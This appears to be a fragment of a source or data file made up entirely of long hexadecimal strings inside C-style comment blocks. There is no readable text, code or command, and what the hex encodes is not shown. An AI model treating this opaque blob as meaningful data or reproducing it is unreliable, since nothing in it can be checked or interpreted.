9be9ba2bb67b10efac78c454a2aa2f0643063b689262de62dad2469a4d51eabbb56218ac7b30bd22c19889e11de41192631490b619638eeaf109b3a5ddb5ccbd09a986b7f917d874dcb667456de028c66c3610544b53200890b953d313d68a53295111706ae3a94d3e45268d49e2041337e0ecb7e9bd9ec77ca5bbf1ffc00843f91b53f3c800b8b03ccae0ea59a705845aea77d708389478d1b6346974670f394431d3c02a0ed227f835ee013216dbe73a2f6776caa9ce3b09b749f277f307ce4aaaa51949a5171d6ebe44d2f3c3bd43efcb003c0f533a44574a2c79d2fd7799dfdca34bf3dc20c4b0f67c37b9cdef114699268857acfdfd0fe920125f94172b12d8f715f32ed9667bc5dfd66aac739d21ccdd5aad84a085bf1d09ebcd16edfa2a9e4d5dec84e9816637b29f31d9e86c318f3b6a27380f31a67432c272af13cdb128ff5e605ccbf835d4384da18521613e4904908f3643c47707e7d4366ff2cdb8b46b8a7205d610ca8737fb1e8c4bfc12a76e08c767dd589ce8e358d901025d890ef6ae7289733e4cbf41a8b627cfa5f66d6707b7a649567895dd95601faf5eb9fb94f1101d547142aeee5451fa99bb0658f976c7649f2347107c33ab4783b8aabc19fd95e94ea01a929fbe1e5c78afb1dc78ff36fd343c0001a5a33cd38af5ad84f496058d661d03b41a1e0cfa94ebf59f9efb01e288d7d536d46acdfe761002146fff0998eeae61498104f1bcb0ca9400206b33c6824853b3df620c2ba6ad5ba54ca851e3c99436bf60273587191a9dd73aee4e0488c2790f7580355e0738447d5d2f2abbbdb247992ea003cf5048c4848f5ff161406ea9e672cb2899524e969ff19322ccfb1b6314d624421475b2c474de2ecd28eabacf389fd551cac0d418a0cd49ecbffedab06ecc04d4ca5410e427e2a5c6cc17545b7d72abaf0030416caece2f80f839e5687e811d3d0c228d09596c3d62fac1c3c4e3f56a787c96a30708dcd0ebcb4053370301a70e91a8ce981ce83653555fda7d4bd8a38e3d78332be88d4848bc0e4cc200566fcd542a16eccb88c54d97f0614a92bdbf2f96d1d5d23dee777df93ee8fde8de6e68c315e3eb4822e585125a9a546ce955c8b428e22fdde93cf7332f144c2968e5daff58e61491387c475f38cb1c7e2fd7391319b1eff147584039d2893eb3e5b281f1d4ad8bf40631151781527f2950584c5b6ebeb336eb014551f968ba2d3b5baaca43c86abf29def572f65a9bf253ac967b6ee0fb4dabea654bd4d6e140ae976f43f46adb49b6c2dbb6aefbe787e31bc67bbeb99ca13c3d9dc88e711b71*/
/*12ac70cfda09f88b9986c7ffa525e05a5e23a952776707fe167839f2c51583b889ca3f479c2e2cf85cb289cf197e365fd6f352db76a2dc7a4b92f4c54d5daed116fda31633f9069ec119d11e2ed76589df101e401d4a823493df53f5fe378004b42cdb25a62082431a797dfda18077577772236ce0d5bb7427aed7a9758ce5b29558b245d3472e316a1cfe13a79122979c78d7aa1bfd869c70ee0dbf3d15b48f92328fda09f7a7d7df7839c975c153d3eca7db65bcb3ac1a0c58fb0d42dea6665c300ca3ddada015619d013fc4adcb30472da081dc934650e4d620a7a5ec4ff749439001009649f29378db0793e5e11138c0d81c8f0269f71260d11d087c218ed24331e4260d968fa2f26c1562df4ff1c3f98a6970f7a15b0afcf0f604db1696caf721c42f366f03cfa1c0195232ba21cb1de9474de976a73e513ddf27e8da824f5b4846221a8f53fe3bb1b8d219c940e2dfd5e318702bc100ccbfaa98cd66c0b92f569ba7fefc988ba821882b0d89057f069d505f8a68f41e86bab7e861c17585a26792d14172b807098266db2cb2435eabe63798a7d0e73a5d64a03a92c19a14db46a59b02c453f7f7719ea34f7ef968dc7ca1634de31ecc6957ac231674ab6dc8445ed50166bb74220828ab80fa6023193e1fb9184bbee301e5e32ca93d0b68fb941b8f01d255ace92c99b3768e46ef6868f05a6fcdee85f55b82f16277b9e8d8595833e348c7ca8eb77f6ef7f9ad2f904dedab817f880332b359445355384adc9bb529d5c15e5e94773029692d33161ea47fe53d6883af5e8cac3d7148ae8dd40654437ca40e832461a0b57af9f1bb90753d82263ee8fa5d6924aea57dac68898d44d40392eb91a755aaa4c27a9cf33007a7152489bf85138052a32503812ea305d45955d7efcec7b54f626cd60249ecf7128fdce4f3f06304a1b752afb570b7c95890d528f03f4df23e7e083eb96ebfee78fd5b22b65b7ea7226576dbe006f2bc053a636aef9c1ae04e17d5d9c4a9d5349e9d1757661377c07cc7d2a9ba5d386de03e063658b30c6be0f8e0f4b9b9749c85ddaba2a8b18e2a111174eab82ee4b166eb7e509edcc04dc3eb8f9591e070ff0d3cda25bf6d1f8c148f28c5c2516f587bc2d45f8fb3c412b0cc8886c7dcb46cbdf6c24683a6902172a7642d6f8186753540025d2fe992430aefd7a795a8a519640a7f2bf0dc8c673cd962fb70ec9f3b571cfdd08165ece1f83310432bc8b4c538c13293372b1cfa0acc5f12d260f4e2fe46b2fc2f3a0eaa9d891a5b196ae063dcb2b7d53aaf2dc73f0a85325b0252eeaa995d5f5f1f2d1b8cd1f9bd6c536f4db18fea567ae32c90e26718e07d3eb7e13437205f0c133909b925632f8059f4557711843d2bd2aa46cd4905ac67c8e92a17ad6dde68fb02d836148c31ee5b789e2ad3e4160cad71b64d7c62e214dccaee4dd3eea9f3908ab657c2ff65f7e9fe63c4c34d69a13e2825e727159cb4ed474310524673b74db2daedca90193bed1a7aa23ff260d8101f9369e8ef0c65564c69a2b65e1a38b664998d1e861397ca59e5013b2e26d3a24c6c21c925dfde5d98b99a2492c8304630b106233292d3408e95464045ab7435d26ed3b01610c01768beb7f6da8896d116ebd8057fcb41af74492fe1f03a3bf52b85e0e654da26999957f767e5ad4d1e96dc9c235251a8d09a6d2380117cd123598931b06b4cf058a83a96a67b6c363a23fd039a1358da2122646d5e4ea5df24c9c5a81d1e1f80de381c27232ac878bc4dd0f3e824218ce07bfb590873d4505352af104cc060e31d2530d2eaaaa23826850cfb6e81ed8e78c6bc0e010c180262db4ea05fa94396126ef91d7e28634e142f14dce3eca0e0f120a7399385c9d2b508efd4cf4331deb89b0518b1969a9b2552759f6387cfed4379565825b382cc2b5d52104a75731605e964bf3b46c3f32442317885cfcac582c2abee07180fa0f0f3678f4859da0d50339c76d5b4eb121c8c282d22f86cd4db608b9137057bb020f2f0d5c18d2828f3a46f81037a39d9e0329c07f320978c9cb6565304bc6d8d7dc5f3a7eae2619ff5055e5d4affcb7531626a8e32962fc5daeca220232035a0838326e6edccda12fc903ae5018719d2a6af86af284d267a5c676f26d2ea53a5a9f02af1d7de8151912255e6a5f5c3a6503d86a6d9e087e881ff91eff9016884b75670b890b7d9780dbd22666035586bced4151da17092939277c9d0f8f13d5def667acd3747e5f2c4ba8bd6654969788a5a02ecf78c1945104f0622609b88ca254100c28f497866cbb8a12c0b2ff48d7cbbf6afad92763c65c69abe23a355e9d0214bb9c3fe93c64ca4d50c7fcffddedf072a28f8b95ca7ba4417fe52beed3ca8a063fe90507edec81943648354be6e0a548b26c361af41dfc2bf6d5a1a8b6ad610204101b3e7d40082ca952aa67d5672651a8d878e511015ca8afc860bf43821e22c9b96eda182920a53fb90d069b900be992e823b98bbf073162513dd31c2b3cb54cd9b85033536530403bde2dedab763b1143672103b324d34fe908cd5641ea19bdb2bf23e13e19ca00de0c08ca4e603ea389c5a635c797fc2c4f52207f61c5c5932f106e1c0921d9ecfb428ec11a5550b5ca5ea2c204b75ce17a4190ef338c81d6ebe5c4d1bcf3f606d57845bdd3dce6a3a3e1ae840dce6d384300972ef767f575fc61fd093c242f41f2dc4f9c131997c77cf757c7acabad6d696069e836e92c260c8819e8dbd88c8791c39245a029da128092706e317c6888fc871b7247f0c035e8e4e576845dabd38176e23a9ed64cce121bccfeb*/
/*c13a6c853667b4028d0349e56e40742b6a5ec6589a276ffc0c08569254681b494765a23da1d488d70cb5cfd3082553243c7918b3159fb25215e73405273499d8677523adc4669945e86c91a09fcb7fe95be90f2221e3c4561622885b97b389566f3ca97f8e3fff65867e85df6e10f1fc77900746daa5523716d1f99268481916a512295a0fa9b0b091acd65a0ee9dd793f51e0bade42a0d0fca5218b0b321ad46e3bbc9e59eb6e413a7b7154f063597dd3d79f54d45cfe278d11162aa57b059f867ca50fa53c7718fda5518871b97acd7c4e3bad8d8e6599d2ede0c310c8934ce8ca98ad10fb7e0fc96c33aa750441421b497ac88071d65bdfa56fb3b873a670d0b0b01384a9739da2e86da25b3ddc88e45401d6d984ec3d7e6fa3c21e9904478e6d2b48f5ee990fae27905fdef61293540ff8911dddb8e03db23158014fe2c7c85ff13d3477e32d6636c6aa4db90ac54fd30e341ff4883c873d73160c1159b4add774806df0986196a72d14df302af5cb1210f627295d48364ab880325f9aabca4136ed742765fc71cbaf3d495b307259c1e50b1f02c08d0268dfb7d876ae00a947ff756a60c7a82e685d4f3f64413e72a8ad8d2a8843908c1c702fea01ee3354c9a584fc1d9a6691cafc74faabb9ee1569a726aad7154e5572d2b9619a46f4f65c30870571fcd6055f021007bc31ed13871170f96a3d48dfe7867f820225e7d3c34fd8d9e7db64ff7865a1a0ef9a80cabcfa65094e2c4dbe734563cbb04b98fdbda3ea6502e9e5b39265e167e5955328d0374d4f2134ab984c02ace9fa8572e65652cef4137803670ef6dbdeeab275dc01d868970cd1fdeac203e6e25c815df2dc8cfde065032750455593b9ba878404b8e2925fb8eae027814f5d83a6c63f73b9fc3b4a63f5175e3288d077c9fc0d90d548b86fe8e63650fbf547796048d174786f421ca61b4b95846d7cbd8f98b64fa1af99bb761e6f59090dc3b83674166fdc60a501a1813d28ad3f8eefce2c37d65bf8644e72fa27a112cce73f55d0be232f1688a462864716588162375d470eac025713e00af81972df0c5c3fb6fcad095974058f58a04244d449c309a8ff35003349a05d04340e7355d373919bf910aba92c7734362f0f0bd931730d1f415c7ac1bf68f3804ea6bee3128fa08fb295ecf670b2c19551f22b1381a8691ecd492264d3e4b400e3124e9dd81327e6a4de89cf2bbf1027ac7d49408bed05f980756a3b45f5d0aad5bee7c9db21d8f3d270236bdce79fa2724d5413f327d2909bebfdf96c12784c8f07a483014045f915c0cf1f11344e8cb65d8768db66e39021765bef3e77e0614286a9a37c681ee4076ba694610b6822b9d193984efb88537ab971ec2050fe96d7b2e5726892a7426f9a1302b54dc8f3c9515e2a24d7bb0c55dd1f29fc1226a9ea5f6f9bcab4e56d0407af658c9168d0379e12fe512a3f287c1939f7950e84578e5c0bf8346ac08750f75b56c6da8b598d1545c9dea178ab4cb119a31cfe0ddba7c7b5104f83823dd6da1d5cfbd9d0357b0b19a99d7019b3590612b56e5e4fe81a7b3416eadfc443474b09dcd48c9fb2aed03cb18e6be0ba033c83364ec47395c1e936013f1907b35337110f28083e76ab50f231efcb438903b52974e42c921a3e6b00a8c205e1b307777dbabd6248afa5ca62813f12cfef1ebe7d2689b59c066a89b556ffe054c5486513aadc0695bc3ebb94606641862eaa2f66a215aecf65c8cdf679c34c5c637cc89dd9c31cca7a3fd75d713324bc9f9aabcd4ab98bf672ceeb129e08fc2fc20f1a261f5996c60bd8691309e947e61445382812e263e22b67cc6e81821cea51b8def5c15b1f7db46dee5d70fd4d8d3e0945d96f52311fa389ba34d7e8baa2cbcc84a6d8831a424f39d38f0d995de60a693413e6619070898b6dcc60ce606afbfa9c52ca345bef3acae44c9c55288080d1862967118005b441d389a15603fc6f278945e4e8af1b259e044982a923ee712f160ae96a245940df54ffff18efb61fd355f368eb39115bd6fcd996a7d164f8261e010c92120099cc03362b3d85b48e2ff3c141ab16af8de477b059bb4e165765e3f767ebf8bb71b790e73ef326a8397bb910d30f0815aeee8216647d0eefbbd4f25f56e5e342e83e08994d8508223a5a3859a7b1a4b59cd1e278334d65b3c4140ffe339c315d66178c41b76010fa57b86665e8a4c66f2da7b55031f2c101e23935a8bd8c3f52579163ca683234bd3b830b3461a42694fb21fdfbbde45471187add93b71688509a47f42a675f13c911eb1909f66c403cd1a6c2b13825984bc034374387b03223c93a8e1eacc66e46037ca64d3526c5c4008f66e7db9cd8a57779d355d7353fa9b9cba8c0cb2ecba6a2ec30876c4c7e3e7efe34a5054aa1d8e4bd74019491fb9a6e7fa02f249bcfb3bcc5cc254061cc952906727e8f1ebd0609b1597d3c68cb88405d8e2afe7fe4c2e1cf55a896fc4c9e3dcdf7a5274d63c06d9d463ae526ecc082791d7bf1f74ff0fcedf94963d24c1a1dea94972a2ceb05d1c8c8df260ddf08e480ede4d15a88383e4d58c5936cff2cc2c9b944d4e054fb910c87d7a87ae474ee677db98d7e300c2982c3ff2cdb7b5a0496f915ca99bcec2ecdf46cfc6c5a236d8ad69056ea5045207c2624a656d213d15a1bdb56359f4ecbe00407ea19633400f846de35d205c73b086ff53bc1be1696504a7a99fd80f6152a94efd10c297e9bb6ffc2ceeb2a039cf60dcaf1926df87de1660dd69a16b9af6df2e0ca12e72d1fd9ac8f128e42032a3213acaa834066422e6ebfd0f7fb156bd07a*/
/*73ec39e84cd4652f8bf91789d2c382c1a599a59464513ed3d84c5d7e61e3c82a2cb86cbd945972862062831199b166a1e59bd26c0fb27470b521b9a39abd6bc0be420ac4524e9153f0944d83d72a5417e7849b23942053dbbe56fbe588a23a4bc3dc03b96fedf26ff314fc15d61d13966235550f9514c58e224966e00aa80bea593f8211e30e091f9d82cc9382c84858ce717801c787776fd4249441163d1bc0778ce01d9a99365f5e3bc59e3ca46584d5108f76fa131f03f89f0120637edb6d17c8de855af05a6af5ba4608e8b82154cf4832bd266c39e3c33dfb737eccd7b7a2f4fa2d7bba6149c78dd5a91f7101ff2d36ef2884690191c24edc95903c1f4106819f3c8b07ef2e33823eee393692749234f93c5f271ae3c0c93471d592d0149b30df00bb1530a9d3916a7a1a49598fc09537ff21e39308e8b21584e52b18a4e73d83e24f5d9abdc155b66b945750469ce746f54c378e1f761ccd0798828e97f14ccf748f58484485c6b972fdf3761c77c19934f430767f9de759b2a152f6f79205d4c7bc37e3428518c630ea945a3e66af9982a4835389199b11d670ebb8c8050ae3dda51e259e79ce35563d66bb2833f91b479d5a52a9d9cc02389411696cf349a66d43a739ecf160a3677222aed5e909caed9bf8870eed71de49608301eafd62a6c3ee2ad07872ff08aa5d3b3372256bfeb59939258900ab17e1d91ccdfe43a59fa74791bae1b06904d0fe78ce0f5f0bfdb8915ca909361ce9cd44c7576f162610cc182eda425e343567327da61f7058a5696a3aceb1fe6b2c81c20217e2a829c6adc596481ae60e77a21e55195623feaea194c2676d520efa4a43ac1f52ab3ee0eeba16970a1c046930644fc392382b3b4db19e385af7df39b9c6dc7973d52ef50736c0b5792e852439a459c3907a49e380781e140c59524e350043e982dec5b60db7e47619ef70a68a2220ce28e3faa7bb75bae4983a76103b3ed242ba28f0b086e7229ad33a24327c9f2e02b80d3109b7ec4cb1c90511f7e85567815129865e5bc962303df363132f1a1ca78ed86e1a93376a146ea0a154f67acf82249d79eb09cbabd57dcb71aa9af7a39e22ebc90218304692229cb56db91f9434f45db3d1753b226bcedde5efb8edc335257c3a1eaf47215ade7f2d5f74af243eca9a727951493f821fd1da7e4f925c5d6504c597a4e933de4c70eac28a8275d0655d89db3e9fd1673eb688f6281ccae0b7107d8ccea9bb6418bb9084fd8370ef877cfb0b45aac240b5b67f15be39ead79c6058a290248404abce2708e81526498729da4eda21f2b651edebc46ba27732b03dfd0ab6ae8c3a6ad015206ffe7a6c18bf1e3f3b451493030d59fdc9517690e659db066f3f35b5f3104f908702e65a4c79eafda832bdaaf6f55a7b8e55789b82739ed6615fb7430076c0723d4ad63b025d1e3d6b1379ce2e472a6164ff91944729d614939861af42c6f2ab558686be5265a824e6c2492d19ed8a96b817bf188b86c69d439d4ab5ef712f1b8fd552c7e14dce6add8efdd673c24341892412e4dfdc8fd59a8f807afd9bc43146dbe168325f87e63ca9ce7cd6786f7b8898b3bc1b841845453459a83a1282f106067cc2409f453dd6bdf6cfa6f75337bea804ee30ccdff1d0ef5abfb1d17f5207e10cc694c5c85cabfe5d3b10eb9a7b8af6fa6ea47ff3157a9bace0ff4afdba0f98550fa2fc0c4452916688e5510fe540783b0325cfa7f918f7c13159faba0cb7be85e92f42dc2f522f1e90ccf6702649b94d8435c85cd49aeccdf7e82e48467295a02340cd6da19ab61679261d767e11540883db8910184548b11b29809f0decdbee4b46061b34e880c4af0fc72ed4566d53487d40d5bc7bb614fa768c5970b5b57e84bc62688f9d5b6d793d2e16ecff0606dd4e406f63a94eefb9f5f0c23255da47bc0615cf58b89a0ee0ffc70c8f019c7527eefce3a5179ca71990e40560ceb2ddc4d24c8bef80fb6b4dbe47a0e45726505012c737f94e95cc43c937bc8894f1c74c1d281af794da4d7b2e8c5fc2cbad4037389214e1ab864eef0be3284799739daf703872d2ddef55ac5f71cdc70dc2d575646e586b4b9446a5533ccd7b7d04e74db5d13f7c771a35a899b400733508d5109d4718a18f699aac3851165697395d97dc67ebd09d0f66b352099895116bbef538b8e6bcfff1ceb129238b6af3579bcc768538a00d15ac5933f7760307dc6304bdcdc9d9a1bafc0f5793858864f8888f710ce2cae6815ac94ab1b748f695fd7441ca26685bfac2c3309def1f3d3c9db0019dbf97d32f72c4cad5b5678598b906a4384f2fcaa81941a9acb73d0d9c60624903537736efde721fdcaa239e07fd190f4c54688edc31ebefeb2b08d00c2f9f01b2f1105e3940b5a0a7c877724723ef27d7116a45ffcc7561ee2795aaf5a8791626b10a95d8e600bae2d8d4817043721a0c8e957bf66072afffa6d5622b210ad2bed96fba79d4e0f585ce07794cce9b9a40909132caad5e69c0fd6847cac78302f1ee864d844a300929bd8affcf2c0b98f724d5d622878cd1175ca86183330a5cad6f7331ed3b73e3ffbf163c18655b132eecdcb40c63efa79ba9589c049809dc2c7dad66c2026925ffbd9aa9c4257c6d951334ba81e0aee6061bbc7f5fe1a220848b7f5b28711458992dc8befdcda321dc91a10ef6adc17fa455be7fb3d20def6da828197517a6ae6989721e3099a362c29cc5e44ce32b4aaea4907bd383bbbe130068bc6be2b7b5d7a7e3a32f32043eb051913fd8ec63e739f4fc1ae8861622c2f71b2396e7677956110a977e321af8*/
/*b1f1fb1bb2f9d9bd5ee80f315dac59759c47e42ec0958f6d9c5876f3b1ec4fbf2d504a26c056e4a1b32384059a8041f07036b062aa6178244f80bd1b44f5ec58351ad8604d258b65cfb2a78eff5f1589ef57ef9a666fc0fe77af2ee8c599da00d9364fc1774fcc46409c47c7b1bb0952c9f9a856f323d6d1dfcd98c80de183cae51692930eef6a8741cf06f5952d77b0b0ebd03984170b72d1ad8355294c4310967730f7008e4c17d1563a4546a652f6e97eb27e3cc61f8fb9f46820f1ed86db04710dc7df37809b465f559016499986ab6758ddd1b0b8a94ed37f3858b540abae586cab24c28d962cf19c9e0f36347a76ae6ec2eab2fa7461b86343df4f806c4af20ffe2a998467275044233d0f329b6d059b8e847ec456a0d5574a91631e7b6edfa6e12cc7c10a1cec09e0c3561212951125784ff5c711ff2b0b16774fa449a0406d6e3ceb4841c2a45c2a666743b35b5e65562aae7b5d8f9610a737b21f9d0d9de70d63c6c39b384f8548699eed24dc6f9603c1769d4b04e913b31a11e0889cbdb802db9e193d3159c973249090243594ded84294e64447e35bb20547224fbfd106e0191c90d4aa6e4a9b9bf9607524694d116fbd7da004782540bda8a4a7df7ce09aa6a6fa2e9fc9317a14b5c2ea02cb76a0a050f26b4ae2e378c17cafbbfd3e493625a21a5c098609e0ee9183dcfb233c9b29db2649504fb016b05b7ff8ff45edb0819bb49b8dc9d0d4542c3289f5eb6299523c2e433e34c76ee40de736703ad196c2d4e685409c67f0d7b480d94d950a71570841ba69fa6ba0d5a43060227c1e8280523f81b3cf970123ead164864bb80f1f06adc666aaa5f6f091017f275dab64357a0fc59769073483d37e3af0bb2352a13ec8bb4d06eeb7bd66768a841dbbb5ad33e350c05449ce08c7574b09b12f5dc304baa21b92952573c31d998ac2435dd728b482077b4909b35722628f358b747c2077ded09608c2e27a723e34ea5b15271b73c9d4469da16b0ca475d085fa76188b2ed2ae324e2c61a8fac543e627fc26ceeb34c46d1d0edc03ad2c3a1e924e65adb2d165dcc27e0b47d975977c680dd5ef4d7e4c15c98895cf69cae568149b633f79f07ee7d89d3f71d8264329e43555a9597cd4371b42b3c6e195251c3af504646b12a951bdf01b9d325ed56c385cebf1c71c8b8d714ef2171503aa9ae101715e5020ff787c1f718485ebe9c625c38f228b1f2f5877634a1dc346774fa9a8421d9c42257fc527be155a56d6c1b3932c8a90b6f4993544c091415c456ff6a96d782dad4515fab0173fed011fdc62b75c2090578fb18a7e3a44d4317c5d8e7536af5594d8b0a157ce7edbd1b16ecf83ac92b0ca095e1d93bfccafb8dfea806d5c4a015bf4e800b58cea3cbdb098cb093ba13efbfb9fcc1ff38935b87f4757a57168c83e5c15f9ef37f9ba94206c941b0a355a2b27c03aa3a3680dc00ff7cb6a142048af89b34884e5fe7b87920707ec5de9b84b2997a8bbbc1c9f62e3f9870a7fdff6332872288bedb0193eaa9c6db3cf8012139cb785eb648b815256d53ffc94b445939a17ac1c607b46e2e955d0b8da667929cc976214a1ffbf86f0691364b0282b76550b0bb8d8a30df8b2c8306e1e5143335e11822bd444356bbfe13651e057d128c7c5eecee7a5573cd4970d7d764fd68ad86667250cffce15687e370e247498e6f1436574cac675d1f097c90c4bea8304764063537d46f17213159df8c2ffdb666d209c5bc3ad5938eaf0a45588c36df4d07f15b2d640eb14c38ec6170bfef6adb56bdeb41468149925008cc78e373c79b39a909e90f36a784d9c1edca19d8bf977732c7e2aee15d4489ff0f516fc6edb7b5c5359d3ee14cc0926b7db86327f243086b06629049f557902638458100ed781ecf5674fd58c81372e15be8e245ceaf2c46ffdb53f4f943ec97b04cf2a286f55d9a31cc61c29f43a57004d32911f2fd3115a7978ad1a06decfb9dd503c50a2318156f9e7ae7c47cd6eb43f70b133e25b901f5512a027e4a95c054d58fd4ce6c1a1b9fc9ef84050df2e380f47b9267b563f559ee1914345c920e6417d3d47fc4843c311f07a17eb011096c58119eea729b02e7115e2bab4ba9a4111989e3290633678af912f9fbdf610e109e8502fa1a47d2bd3a579921a9f902a3665328b4a27b9bd8da4fb4aab42dd73cb0d94f4d30dc6a715750c756c62ae751adfd2e26d96b5b343fe48dc3efd94e35be5a81f7abd6a53ccf6fa03851417e5200ff2e41c1f16ca0671d34eb182c8b370c1ef93887d3fe08e1f7cfeeac65edc48308b3edc70c046db5bd91b00f7464fe8dbecd5e1989fdb25cb9751063ce70382334670f99c4c8d065494ecfd9b2a1ed46db858c02fa06a5d178c6e5a85da8eda4557e7c30948cf63bb61b24f40955f602b43d6847db995e90c053213fbb36ff9720dcad7bd81283c75f92392e8ca6dd09f0410ecf3cb54997613d80bf244c6a237aa5d2812578855cd2b81c2e56ba12355b6a1799db7ecb84abf4e2d8e46621e0da5bd8ab969aa94a7ba00aca040370672cd31cbc54f77d12ff05efe12df2c7979733ca30423fe168e3488112353d17a1c0e49438e836278dd2915d03d437d09ed13ab8d78909515502309cf8a6b58f376935db9fde1fec8c7892980652e7a7d1ba52f7c1546519674a816a15e2531fddce43a8d509dad82304faba2a04aaed08f0e4252c3ad442f8b4e3bdd73a71c277001de41d3b4b494497a4573c2b92a3a6d81618393446f0b497c99f4b7895e1e4cf47dda46b03fac573589497e70d1c9d1e77014b7c280665fb06702*/
/*cc2a9c28cb4643f8eb704c8df2a4965cc7d9843446ee62fe4f74f0a52a523a54c88aca574df69b0298e448add0d82565af7a9a30279bc46bd34d0dabab1efa5e9b6f22b9a87439f167fb1afe67f5cc4b6ad066b167120ed362f746eb2ca2a1b0bd66cf42141ed0ec5a5495d2086a5f0b094baab898d171ff6588be80b810cb76ca2219f8c214711fd5b2d3b566c0d74e82588fe0b593f1cebe3bed9915a66c1ac7634f67177045cd59fe0c36a6bf9070149919f33e973dec174dccf3041070524c17d444941f787d3d9da705a98e0073be1cf3f7f314c1fade147b054e106055d3d0f4622ccda2e77c7e3da075077240fe84b5ac5b397ecc31d4f516f9581034d2764fd6fe13786bc0ce3a68baaf9169bf5e7b7a41746af73a11809cb49fcee07e864c596b4052bb618cd978feeaeffd40c835202ced31c182214ebea71b5aa7d9866aea9436148c3aee423f455f458002b622f1dda4c24ff035fdb0bb92c7096e587cf68567d66e71af666167f50aa814a448055c24635769fc6dfb921e20b73034dc62eb0fa7efcd4829f8ebcd9f32cb1984f68c17e08ac724410c9778167c32ad10b4172e735fda912378ac24fb163b9362e7070865fdea299c4d3a58580caadf019753a2cb797fde5b9d453aa8ff8317aa9c6b14c421632d4b77ec6b4cd181b9005780c6d9f2ab22f1fd25ffd96cb0dd169c091f02e7dc1a2ebf202f15e24bc2061b120027bbc16f5ab5231a9cac21657726931c799c41caa996c021f179401c2b549f9e78244ae073b7ad4f4a5bcfe6bec9ac2bba283834b1459d3d6402eb0a720ad9bd74b3c8d2634046b952dfcf7c8f51004a05da900930ebadfa37827e8a76dc0d08887b6cca82de14daf2634e169b74eb41dae43a56f5da89dc6a11828da67663e4f21754890343d2b6bd8b7cb8b6baceb3595849c95e3f100965c8e4d7328ac60451e12d4f30d4bee4b7c5ff44ca2417446a677ab2a1b3ccaa63101aaf1d5005fbb8829898334afd73766e85594d798001e1c13b8b8fa73097fcc14d42fb4d6603b3fa8298b9855f819b4030bbb1c21f778b93e0f1e59d12fb01cbd3f4c49c683497a64dfb11cddc183fc92091085223bcb64e524a9250714d7a77e4b185b2799303a9e14a5ead16bb8398c2dfd63dce142274183bdbca499d6923b88ee8077cfded417cda4eae3c075dafd47636cbec1ff6b4aa95c63e476a59175184cdc618462769acdf4499a9ede2b96cc21f45bfcc6058b2ac04682844a06f88d00c93f991dd9069c532adcbbeafd6c99c743426ffbebb5f5c4eb0277c48918f7b357a4eb3201ee18388317b5f8113f904f84db246291b34be41c71d5c75d7a8437197ffb3d06b087b586ee637c435cb2b29057fb96352fb424f61aafd8d86a97a07b6d45b75d8451c0f10c4df5e176ead605dae3188d2dbf061ee02e10ed5c932e15923332fe2e45a1a00baaf7b46b6ecd3460da70c7ca2423b57da195632a97344eb90f65140e669e24ba79d72db1cd659f4fbea7bf40d6493e329a9eb59bd25adad8739f810184a5fbc4f7ba8ca35e518d9cb696f7d5c10087db380586064fc84da71e46821df541c5edee20f6a41c68d5c097c67e420f1ee33ddd608d6446e2c3df0eb475e85a32b155c34b52191104019cd92b66a09cb03408c36a3b33ef9623b88502a913e80833a6097a12096533042cf9fc683e72e58eee394c8af45f58f3733282167521a57b2787943ee388717c83d938a2c2bfae5fcd2a0987c6839a9279944b9ebdf7c338c3698a36e43e2441b7cfa51955229e3ca7415d41334126d0280bb8343c72a5ef044a1e4f879b356904a7cdabec53858a70ba7717fe3fbba900e1a5b59bc746de329fd4d586169f8b31fab75d58bcaca00e5a6f3f1ebd36032640e356191db5a4ed3f145e0177ab0f8c29df1f41603846bc0d3dac9ae1c67199fecd94bc680aa67cd351e2abfc7788eccee8ede1359c8991fdb350858145c4cbb3437ad9c00c98bf522331ea7a4f058d5dc81bd55d23673ed1eab276023c719db65c2a575e1f2a702708be04214591f7e2e830acd445c3149ba7d007eefb0af9795e5b52796052eee6baee6592221a3b2929fbfaa5e9a486a75fe9d835e2fb0879c7a01b7d60ff9b228dc942c1ea12b2327a1ef9191954dad6db4f866ee13920b0d39f37682c10c69f976e5b0dbf3f42f2039593840d79e8c45df5f314bbd4516712e1625088c3c61976bf593891c0182488bd527553b967805a3c67d69fac52feb1fc5bda5c33ae420c14d36ecd5dea0b209eb28f8e715226678c880ea8593114dced4d089b6ee8cc10fe30bcaa996fc861cf65a218ec2b6b0d533e4c3e65319f35af11886b2e26fc9eb504637dfa6e1076ccdee4faa783ed59f7237d74d03fbb21864730a79a033333b3fe909ead7b9a6b928f230b753554edd6517a03f26c756a70590e2a53a2c62377a918185bbfda1c490b2237ede70de997607ee5a0f016835d8bc83e4df31cd6029dac06693b58945a7117ae7eb92af43a2d239bbdb1cca77fa6c98129318a6e71a65793069a69b1fa10317fbb4ef46d67db2a752d0a7abb8eda06e8424d1b2bcff8bd36650842669eabaa617363848a1d85db9b28f598bdfafb9f156cc7fd2fa25dc06f36480fd5f96eb4184688b0eb32fe95efdccac7d0eee169356daba715d052ce73996ce033061e3f172d44ec0b231bdefe23b7aea35a02ec3ca845ceb1d419dd70dcbc526cf42a382c75f59fdead7adce9e9d1b8661f57c5282a187c88a82c03d4fe077c3f8b92ec81051da85a2f2cf0509c44d1771ea670cc9cf40fb17ed*/
/*d2d72e18b3270ec8822444484ec3aefb48d5578b490f002a1eb323888142df1cfcad4baccc39f2a74fe73793716d1657b070d36b7f18539e69630bcc92a111859b070db6ef1dca497214097de67a3025a3bf840c2e9ed42dcbd6669be2af93d384fb2a20a9668c106ac39c1d9587ca4c67296997a46eeadaf955f2dbb006203a6431f6782d2cb58b8e6483a02019584e076851a7b895f60af3bf4bf9bc3e9b23d335d95fd36d5d5abc5cee6c9c47f9970df19ecf27aafc66c4d3bcd650ba5384d0144a7db446ab5a01714413795629b2291caeeb291bfc3ef56f56f0116154a920015abaae192fcd7f783caaabe45fd97c35d97d2134284b0df54728809909f87456a7153810e121cebcd587e48ff48849a36bcdd84d6c6d04c4d02ea84edbccedf41468e27802c4bf1934a648f484a5aa2f667f2329856aea98d1b85b11976074703bbcc97c7cb016b65c6d195498f1be315c04c3e5f0f8959a6b0539780599cf03f0c59fdcc576729557cec2a424be315ae027001067a8a2d6c2889473d1cc55e36adb0b6376692831c65212bb659a3ea8c7e7179b096bbbd834e51fe4eb450ca16dfc547029eb014fcfca45438e886f8cdc4a0158ad6e4d36aa48c3458f439328b89495a1f7ea7a4fd2f635376b7006722e1f73e55e1cae325203a9e67a3f6ffa931117426013af9afe31ea54a9b7eeda3a443f0fe6880b4ee4c06fc56fd1065aff5c00343160449619a50c74e807007313af199a1f45703e1df7be581d49b5d8a987002ea14ea5e818b237f75b013e71b86b2a444cbf5b7844d5e620833ae9e0403edd756b9c4b72830811a6a0b862166e88f0101d5e83f04f1312aa7eecab2db701ea563e0f236253b32ed1